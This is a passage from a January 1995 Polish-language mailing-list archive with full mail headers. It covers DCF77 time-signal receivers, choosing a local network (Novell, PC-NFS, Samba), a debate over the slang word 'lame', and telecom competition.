news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:27:00 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04964; Thu, 19 Jan 95 00:23:32 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12923 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:21:18 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 23:02:33 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3fk6m9$nl2@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <2682FB5771@elektron.pol.lublin.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote: > Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz, > stad nazwa tego nadajnika DCF77. > Sygnal czasu mozna odbierac praktycznie na calym obszarze Polski, potrzebny > jest odpowiedni odbiornik i program. > Osobiscie nie korzystalem z tego ukladu, ale mialem mozliwosc ogladac go > i rozmawialem bezposrednio z producentem. Z konstrukcyjnego punktu widzenia > zastosowano tam gotowy modul odbiornika (prod.RFN) sprzezonego z zegarkiem > cyfrowym. Z tego zegarka wyprowadzono zakodowany sygnal czasu i po zlaczu > RS232 wprowadzono do komputera. Program rozkodowuje czas i wpisuje do zegarka > CMOSowego. Zakodowany sygnal zawiera aktualny czas (rozdzielczosc 1s), date, > czas letni/zimowy, zapowiedz zmiany czasu,lata przestepne itp. Wiem, ze rozne odbiorniki takich zegarow mozna podlaczyc do xntp. Nie mam osobistych doswiadczen - szczegoly w dokumentacji. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 09:27:50 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03430; Thu, 19 Jan 95 09:23:21 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA20141 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 09:18:11 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 12:16:50 GMT From: Marcin Klimowski Message-Id: <3fj0ri$d6q@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501181000.AA13792@ocean.iopan.gda.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) piskozub@ocean.iopan.gda.pl (Jacek Piskozub) wrote: > > Nie, takze tam dokad przeplywaja zwyczaje [te najgorsze] stamtad zaczerpniete. > I co ciekawe, wystepuje to glownie u osob, majacych ksywe IRC-owska > w herbie (przepraszam: w "sigu"). a ja mam swoj IRCNICK w .singnature, ale juz mi wstyd, wiec w tym liscie chyba nie zamieszcze . Chyba, ze zmienie zdanie ;)) > Jacek Piskozub Marcin;) From krawczyk@kme.agh.edu.pl Thu Jan 19 10:37:51 1995 Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04774; Thu, 19 Jan 95 10:36:54 +0100 Return-Path: Received: by kme.agh.edu.pl (4.1/SMI-4.1) id AA06655; Thu, 19 Jan 95 10:34:38 +0100 From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Message-Id: <9501190934.AA06655@kme.agh.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? To: polip@zsku.p.lodz.pl Date: Thu, 19 Jan 1995 10:34:38 +0100 (MET) In-Reply-To: <1438A76574@inf.wsp.krakow.pl> from "Jaroslaw Rafa" at Jan 18, 95 06:50:03 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1523 Jaroslaw Rafa pisze: > > > Date sent: Wed, 18 Jan 95 16:17:27 +0100 > > Send reply to: polip@zsku.p.lodz.pl > > From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) > > To: sfrafa@cyf-kr.edu.pl > > Subject: Re: Palac Staszica - jaka siec lokalna wybrac? > > Organization: University of Mining and Metallurgy > > > Pomysl korzystania z drukarki podpietej do innego PC jest, > > moim zdaniem, zly. [...] > Czyzby? Rozwaz taki uklad: > cztery laboratoria studenckie po 6 PC w sieci Novell. Jeden serwer w miejscu ^^^^^^ Zwroc uwage, ze ja pisalem nie o Novellu tylko o PC-NFSie. Z tego co wiem w sieci Novell dziala to znacznie lepiej (przypomne: dzielona drukarka przy lokalnym PC) i jest wykorzystywane bardzo czesto. Proby zrobienia tego za pomoca PC-NFS koncza sie ograniczeniem dostepnej pamieci do granic uniemozliwiajacych normalna prace. > z zalozenia niedostepnym dla studentow. W kazdej pracowni drukarka przy > jednym z PC. Wydruki wykonywane w danej pracowni ida na drukarke umieszczona > w tejze pracowni. W takim ukladzie wlasnie podlaczanie drukarki do serwera > byloby zlym pomyslem! Oczywiscie ze zlym. Rozwiazaniem sa jeszcze dlugie kabelki i cztery porty na serwerze :-) > Pozdrowienia, > Jaroslaw Rafa > sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl > Grzegorz -- Grzegorz Krawczyk krawczyk@kme.agh.edu.pl University of Mining and Metallurgy Chair of Electrical Machines From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 15:47:54 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09129; Thu, 19 Jan 95 15:43:13 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA27751 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 15:41:45 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 19 Jan 1995 12:31:13 GMT From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski) Message-Id: <3flm2h$g1g@galaxy.uci.agh.edu.pl> Organization: Instytut Podstawowych Problemow Techiniki Warszawa Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl>, , <3fk60i$nl2@Waldemar.mat.uni.torun.pl> Reply-To: ppogorze@ippt.gov.pl Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote: : Demon pcnfs jest public domain, a pakiety NFS na MS-DOS sa tanie (a w ogole : na PC - tez darmowe). Ostatnio mowi sie duzo o Sambie (SMB), ktory to : pakiet funkcjonalnie odpowiada NFS, ale ma widocznie jakies dodatkowe : zalety. Oczywiscie tez jest do public domain. : R. : -- : Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm : Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec SAMBA to nic innego jak NetBIOS po TCPIP. PC-NFS'a nigdy nie uzywalem, sambe juz od roku. Umozliwia zrobienie taniej sieci: server cos z unixem: Linux, sun .... klient cos co rozumie NetBios np.: Windows for Workgroups + TCPIP, albo MS LanManager Client (ftp://ftp.microsoft.com/......) inne ??? Mozemy teraz jako dyski dosowe montowac katalogi servera. Dowolna drukarke z servera zamontowac na dowolny port rownolegly. Darmowy MS LanManager Client umozliwia tez eksportowanie drukarek, dyskow juz nie. Z servera mozna drukowac na drukarkach przypietch do PC. Predkosc transmisji (386 <-> 486) od 120 do 250 KB/s Po zainstalowaniu, bez zadnej konfiguracji, kazdy ma dostep do swego homa. Naprawde swietne piotr pogorzelski From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 17:05:14 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10950; Thu, 19 Jan 95 17:03:11 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA28927 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 16:57:39 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 19 Jan 1995 16:31:24 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3fm0kc$l5q@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501182144.aa21441@wega.ics.tup.edu.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote: : > : > Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u : > nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach : > dyskusyjnych. : > Pozdrawiam, : > -Krzysio : > : Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz : obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). Taak... Biuro jest, ale to chyba wszystko. Te polaczenia to istniejace czy planowane? -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 17:05:20 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10953; Thu, 19 Jan 95 17:03:14 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA28926 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 16:57:38 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 19 Jan 1995 16:25:49 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3fm09t$k81@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl>, <3fj6db$qb5@ghost.mimuw.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : Grzegorz Krawczyk (krawczyk@kme.agh.edu.pl) wrote: : : Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy : : system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba : : inny system o ktory by mozna oprzec baze danych. : Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do : instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie : dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc : mniej bolesne niz sie wydaje. Netware NFS. $$$. To kosztuje drugie tyle co sam NW 3.12... -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 17:27:52 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12310; Thu, 19 Jan 95 17:23:12 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA29064 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 17:10:48 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 19 Jan 1995 16:42:43 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3fm19j$mql@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501180842.AA13346@ocean.iopan.gda.pl>, <3fk6cm$nl2@Waldemar.mat.uni.torun.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote: : Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote: : > Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego : > wyzwiska w powaznych grupach. No, cos w tym jest... : > Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym : > slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako : > osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B : > przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia : > [BRZYDKIE SLOWA!!!] ) : Slowo nie jest szczegolnie brzydkie (chociaz znam ludzi, ktorzy uzywaja : go zamiast przecinkow - ktos taki zapewne powinien nazywac sie : 'lamerem') i nie widze powodu do tak ostrej reakcji. Slowa, ktore : uzywamy swiadcza o nas, tak jak nasze .sigs . Slowo w zasadzie nie jest brzydkie. Doslownie znaczy "chromy", "kulawy", "kaleki". W zargonie IRCowiczow znaczy mniej wiecej tyle co "beznadziejny". I tu wlasnie dochodzimy do sedna: nie mozna by napisac po prostu ze cytat z Lennona (od ktorego sie rzecz zaczela) byl glupi/naiwny/niedorzeczny/nie na miejscu/wszystko razem/niepotrzebne skreslic? Po co siegac do cudacznego slangu, ktorego w zasadzie uzywa tylko niewielki podzbior Internetowej populacji? BTW. Z kim to ja mialem dyskusje na temat poprawnosci jezykowej (w aspekcie slow "hacker/cracker")? I czy przypadkiem nie dowiedzialem sie, ze normy ustanawia wiekszosc? Moze przeglosujemy zakaz uzywania slowa "lame" w tej newsgroupie, nie ze wzgledu na niecenzuralnosc, tylko niepoprawnosc jezykowa? :-) -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From krzysio@hebe.umcs.lublin.pl Thu Jan 19 17:47:52 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13073; Thu, 19 Jan 95 17:43:06 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id QAA12578 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 16:44:38 GMT From: Krzysztof Mlynarski Message-Id: <199501191644.QAA12578@hebe.umcs.lublin.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) To: polip@zsku.p.lodz.pl Date: Thu, 19 Jan 1995 17:44:37 +0100 (MET) In-Reply-To: <3fm19j$mql@galaxy.uci.agh.edu.pl> from "Szymon Sokol" at Jan 19, 95 05:31:15 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2384 Szymon Sokol wrote: > > Slowo w zasadzie nie jest brzydkie. Doslownie znaczy "chromy", "kulawy", > "kaleki". W zargonie IRCowiczow znaczy mniej wiecej tyle co "beznadziejny". > I tu wlasnie dochodzimy do sedna: nie mozna by napisac po prostu ze cytat > z Lennona (od ktorego sie rzecz zaczela) byl glupi/naiwny/niedorzeczny/nie na > miejscu/wszystko razem/niepotrzebne skreslic? Po co siegac do cudacznego > slangu, ktorego w zasadzie uzywa tylko niewielki podzbior Internetowej > populacji? Hihihi.. teraz tylko poczekam, az sie zacznie dyskusja, czy proponowane przez Ciebie okreslenia sa, czy tez nie wystarczajaco -- el1t3 ?! :) > BTW. Z kim to ja mialem dyskusje na temat poprawnosci jezykowej (w aspekcie > slow "hacker/cracker")? I czy przypadkiem nie dowiedzialem sie, ze normy > ustanawia wiekszosc? No moze w tym przypadku, to nie wiekszosc, a sami zainteresowani. Np. wedlug niektorych jestesmy Lechitami, ale sami nie bedziemy sie tak raczej okreslac :-) > Moze przeglosujemy zakaz uzywania slowa "lame" w tej > newsgroupie, nie ze wzgledu na niecenzuralnosc, tylko niepoprawnosc > jezykowa? :-) Nie da sie... zgodnie z tzw. konstytucja, kazdy moze sobie mowic i pisac co mu sie poddoba - akle na swoja wlasna odpowiedzialnosc :) > -- > Szymon Sokol -- Network Manager > U U M M M M University of Mining and Metallurgy, Computer Center > U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND > U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 > UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ > A ja nadal mam dluzsza sygnature..., ale krotszej juz nie zrobie hehe i to niezaleznie od tego kto bedzie protestowal :-) Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 18:47:53 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14298; Thu, 19 Jan 95 18:43:11 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA00414 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 18:37:36 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Thu, 19 Jan 1995 17:26:56 GMT From: michalj@fuw.edu.pl (Michal Jankowski) Message-Id: Organization: Warsaw University, Physics Department Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl>, Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Innym rozwiazaniem jest uzycie Suna jako komputera i PC-tow jako terminali - bez montowania dyskow w jakikolwiek sposob (ani Novell, ani NFS...). Oczywiscie, bez pelnych danych trudno mi powiedziec, czy to jest dobre rozwiazanie w tym przypadku. MJ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 19:05:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15023; Thu, 19 Jan 95 19:03:10 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00673 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 19:01:07 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 19 Jan 1995 18:01:04 GMT From: eedogano@faith (Wojciech Doganowski) Message-Id: <3fm9d0$s2h@cyber.ict.pwr.wroc.pl> Organization: Technical University of Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <4D07922D3C@sweet.iie.wsi.zgora.pl> Subject: Re: Siec Optimusa? Grzegorz Mielcarek (GMIELCAR@sweet1.iie.wsi.zgora.pl) wrote: : > Date sent: Wed, 11 Jan 95 16:20:24 +0100 : > Send reply to: polip@zsku.p.lodz.pl : > From: Jerzy Pastusiak : > To: polip@vigo.iie.wsi.zgora.pl : > Subject: Re: Siec Optimusa? : > > : > > A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na : > > inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich : > > pieniedzy. : > > : > > Jarek. : > > : > Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka. : > Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat. : > Chyba i nas to czeka. Pozdrawiam, J.P. : > : A czy ktos wie, ktoredy zostaly pociagniete swiatlowody wraz liniami : wysokiego napiecia. Byloby ciekawe to wiedziec. Przez Zielona Gore bedzie szedl, nie martw sie, ale zmienia sie siec polaczen, nie pamietam jak jest w calej polsce, ale ZG bedzie polaczona z Jelenia Gora, a nie z Wroclawiem itp. Pisali o tym chyba, podkreslam chyba w NetForum. \|||/ WOJCIECH DOGANOWSKI (o o) ___ _____ooO_(_)_Ooo__ _ _ ___ / ) __ __ / / __ _ __ /| | / ) __ __ __ /___/ /__) / ) / _ / / / ) ) /__) /_| | / __ / ) / ) / / / ) / ) / / / / / / / / / / / | | / / / / / / / /__/ / / (___ (__(_(_ / (_/ / / (___ / | | (___/ / (__/ (__/ / / Real-Time A.I. Group, Department of Electrical and Electronic Engineering University of Wales Swansea SA2 8PP, United Kingdom eedogano@swansea.ac.uk, dogan@cookie.iie.wsi.zgora.pl, Tel: (+44 792) 465603 From markk1@ix.netcom.com Thu Jan 19 19:42:54 1995 Received: from ix2.ix.netcom.com by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15934; Thu, 19 Jan 95 19:39:55 +0100 Return-Path: Received: from by ix2.ix.netcom.com (8.6.9/SMI-4.1/Netcom) id KAA10717; Thu, 19 Jan 1995 10:40:22 -0800 Date: Thu, 19 Jan 1995 10:40:22 -0800 Message-Id: <199501191840.KAA10717@ix2.ix.netcom.com> From: markk1@ix.netcom.com (Mark W. Kaliczynski) Subject: Re: Siec Optimusa? To: polip@zsku.p.lodz.pl Lame to nie jest brzytkie slowo (jeszcze) w doslownym znaczeniu i tez nie jest brzytkim w znaczeniu uzywanym na Net: slaby, kiepski, beznadziejny, nieprzekonywujacy. Nie mniej jednak jezyk i znaczenia wyrazow zmieniaja sie ciagle. Niedawno Hillary Clinton nazwana zostala bitch (doslownie suka), slowo ktore obrazuje znakomicie jak szybko uzycie jezyka sie zmienia. Dla wiekszosci starszych ludzi (szczegolnie 60, 70 letnich) jest to bardzo wulgarne okreslenie na kobiete. Dla ludzi w wieku ponad 30 lat slowo to ma bardziej neutralne znaczenie a dla mlodych ludzi, ponizej 30 lat slowo to ma wrecz przeciwnie znaczenie, raczej przymilne i pieszczotliwe i jest szeroko uzywane teraz w odniesieniu sie pomiedzy mlodzymi osobami w trakcie potocznej rozmowy. Mark P.S. Terazniejsi studenci z Politechniki Lodzkiej, prosze e-mail do mnie. -- Mark W. Kaliczynski voice: +1-201-252-1797 ext. 255 fax: +1-201-252-1797 ext. 329 e-mail: markk1@ix.netcom.com From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 20:47:54 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17066; Thu, 19 Jan 95 20:43:08 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA01880 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 20:29:10 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 19 Jan 1995 19:27:49 GMT From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) Message-Id: <3fmefl$4jp@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <24A1F53446@sweet.iie.wsi.zgora.pl> Reply-To: marekm@i17linuxa.ists.pwr.wroc.pl Subject: Re: Ustawianie czasu-odbiornik DCF77 Grzegorz Mielcarek (GMIELCAR@sweet1.iie.wsi.zgora.pl) wrote: : Gdzies kiedys czytalem, chyba w PCKurierze, ze polska firma skonstruowala : zegar do synchronizacji czasu w sieci Novell Netware 4.0 i sprzedaje to po : calym swiecie. Czy jest to ta sama firma? Nie wiem, ale "Polacy nie gesi : i swoj zegar maja". Widzialem taka oferte. Sam odbiornik (do RS232) z prostym programem dla MS-DOG - 735tys., to samo + oprogramowanie do Novella - niestety juz 10mln+VAT (ceny z zeszlego roku), brrr... Czy ktos wie, czy xntpd potrafi skorzystac z sygnalu DCF77 podanego na port szeregowy? Gdyby tak bylo - Linux, xntpd, odbiornik DCF77... i juz mamy niedrogi time server. Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac czas przez siec z hosta unixowego. Pozwoliloby to uniknac kupowania drogiego (bo dla Novella) oprogramowania... Pozdrawiam -- Marek Michalkiewicz marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl From markk1@ix.netcom.com Thu Jan 19 21:27:54 1995 Received: from ix3.ix.netcom.com by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18023; Thu, 19 Jan 95 21:26:13 +0100 Return-Path: Received: from by ix3.ix.netcom.com (8.6.9/SMI-4.1/Netcom) id MAA08495; Thu, 19 Jan 1995 12:26:34 -0800 Date: Thu, 19 Jan 1995 12:26:34 -0800 Message-Id: <199501192026.MAA08495@ix3.ix.netcom.com> From: markk1@ix.netcom.com (Mark W. Kaliczynski) Subject: Re: Siec Optimusa? To: polip@zsku.p.lodz.pl Najwieksze przeszkody to przewaznie sa polityczne i prawne. W USA my mamy zupelny wolny rynek w dalekosieznych liniach telefonicznych. Wystarczy wycisnac pieciocyfrowy numer danej firmy telefonicznej przed numerem telefonu i mozna wybrac ktorakolwiek z kilkeset w tej chwili firm telefonicznych. Nie ma jednak identycznego wolnego rynku w podstawowym servisie. Dla przykladu tu w New Jersey podstawowy lokalny - flat-rate service ktory kosztuje od okolo $5.50 -$7.95 miesiecznie pozwala na nieograniczona ilosc rozmow w okolicy kilkunastu do kilkudziesieciu miast (w zaleznosci od lokalizacji) moze byc nabyty tylko wylacznie od Bell Atlantic. W Nowym Jorku tylko od Nynex. Wieksze firmy omijaja lokalny service przez podlaczanie sie bezposrednio do firm dalekosieznych. Dla malych firm i dla domowych potrzeb to jest nieoplacalne. Kiedy jednak dojdzie do zupelnego wolnego rynku w telekomunikacji to podstawowy service powinien byc oferowany przez co najmniej tyle samo lokalnych firm co teraz dalekosieznych (long distance) i tez zamiast tylko czesci stanu z nieograniczona iloscia uzywania to rozne firmy moglyby oferowac caly stan, kilka stanow, lub cale USA wlaczone w podstawowej cenie. Co do konkurencji z firmami tradycyjnie telefonicznymi do tej pory, to najlepiej usytuowane sa firmy televizji kablowej ktore w tej chwili sa podlaczone do wiekszosci domow, lecz nie moga oferowac telefonicznych uslug z uwagi na terazniejsze prawa. Firmy energetyczne nie maja podlaczonych swiatlowodow do poszczegolnych domow, lecz wszystkie posiadaja swiatlowody razem z liniami wysokiego napiecia. U nas oczekuje sie wkrotce liberalizacji rynku w tych dziedzinach wiec firmy kablowe beda mialy znaczna przewage w lokalnym rynku nad tradycyjnymi telefonicznymi firamami dowrtarczajacymi servis lokalny a firmy energetyczne beda w stanie konkurowac z terazniejszymi dlugo-dystansowymi firmami nie tylko na skraju USA ale calego kontynentu. Mark P.S. Anybody who is a student at Politechnika Lodzka please e-mail me. -- Mark W. Kaliczynski voice: +1-201-252-1797 ext. 255 fax: +1-201-252-1797 ext. 329 e-mail: markk1@ix.netcom.com From dyrdal@gate.maloka.waw.pl Thu Jan 19 21:57:55 1995 Received: from gate.maloka.waw.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18806; Thu, 19 Jan 95 21:57:05 +0100 Return-Path: Date: Thu, 19 Jan 1995 22:47:06 +0000 From: Krzysiek Dyrdal Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom To: polip@zsku.p.lodz.pl In-Reply-To: <9501182144.aa21441@wega.ics.tup.edu.pl> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Wlasnie dzis tamtedy przechodzilem i zastanawialem sie skad ja znam ta nazwe (eunet) ale potwierdzam - zjawisko wystepuje - przedostatnie drzwi po prawej stronie przed Solidex'em (albo ostatnie ;-) Krzysiek On Wed, 18 Jan 1995, Tomasz Kokowski wrote: > Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz > obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). > > Tomasz Kokowski > From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 08:05:08 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02307; Fri, 20 Jan 95 08:02:58 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id HAA11254 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 07:49:18 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 06:47:30 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3fnma2$qfg@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <24A1F53446@sweet.iie.wsi.zgora.pl>, 